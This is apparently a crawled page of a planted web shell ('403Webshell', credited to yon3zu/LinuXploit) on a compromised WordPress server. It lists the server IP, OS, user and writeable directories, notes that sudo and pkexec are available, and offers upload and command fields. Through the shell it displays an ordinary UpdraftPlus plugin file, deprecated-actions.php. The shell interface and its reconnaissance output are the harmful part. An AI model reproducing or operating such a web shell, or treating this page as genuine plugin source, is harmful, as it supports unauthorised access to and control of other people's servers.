403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/web19/web/wp-content/plugins/updraftplus/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/web19/web/wp-content/plugins/updraftplus/includes//deprecated-actions.php
<?php

if (!defined ('UPDRAFTPLUS_DIR')) die('No direct access allowed');

/*
These actions are no longer called, except in the case of someone restoring an old version of UD onto a new backend and not refreshing the page. We can keep them around a bit longer to handle that limited case. This generally means that they were replaced by calls to commands in the standardised UpdraftPlus_Commands class.

These have been removed from admin.php as part of the process of removing them entirely.
*/

global $updraftplus, $updraftplus_admin;

if (isset($_POST['subaction']) && $_POST['subaction'] == 'credentials_test') {

	$updraftplus_admin->do_credentials_test($_POST);
	
} elseif ('poplog' == $_REQUEST['subaction']) {

	echo json_encode($updraftplus_admin->fetch_log($_REQUEST['backup_nonce']));
	
} elseif ('sid_reset' == $_REQUEST['subaction']) {

	delete_site_option('updraftplus-addons_siteid');
	echo json_encode(array('newsid' => $updraftplus->siteid()));

} elseif ('countbackups' == $_REQUEST['subaction']) {

	$backup_history = UpdraftPlus_Options::get_updraft_option('updraft_backup_history');
	$backup_history = is_array($backup_history) ? $backup_history : array();
	echo __('Existing Backups', 'updraftplus').' ('.count($backup_history).')';
	
} elseif ('historystatus' == $subaction) {

	$remotescan = !empty($_GET['remotescan']);
	$rescan = ($remotescan || !empty($_GET['rescan']));
	
	$history_status = $updraftplus_admin->get_history_status($rescan, $remotescan);
	echo @json_encode($history_status);

} elseif ('diskspaceused' == $subaction && isset($_GET['entity'])) {
	$entity = $_GET['entity'];
	// This can count either the size of the Updraft directory, or of the data to be backed up
	echo $updraftplus_admin->get_disk_space_used($entity);
} elseif ('callwpaction' == $subaction) {
	$updraftplus_admin->call_wp_action($_REQUEST, true);
} elseif ('lastbackup' == $subaction) {
	echo $updraftplus_admin->last_backup_html();
}

Youez - 2016 - github.com/yon3zu
LinuXploit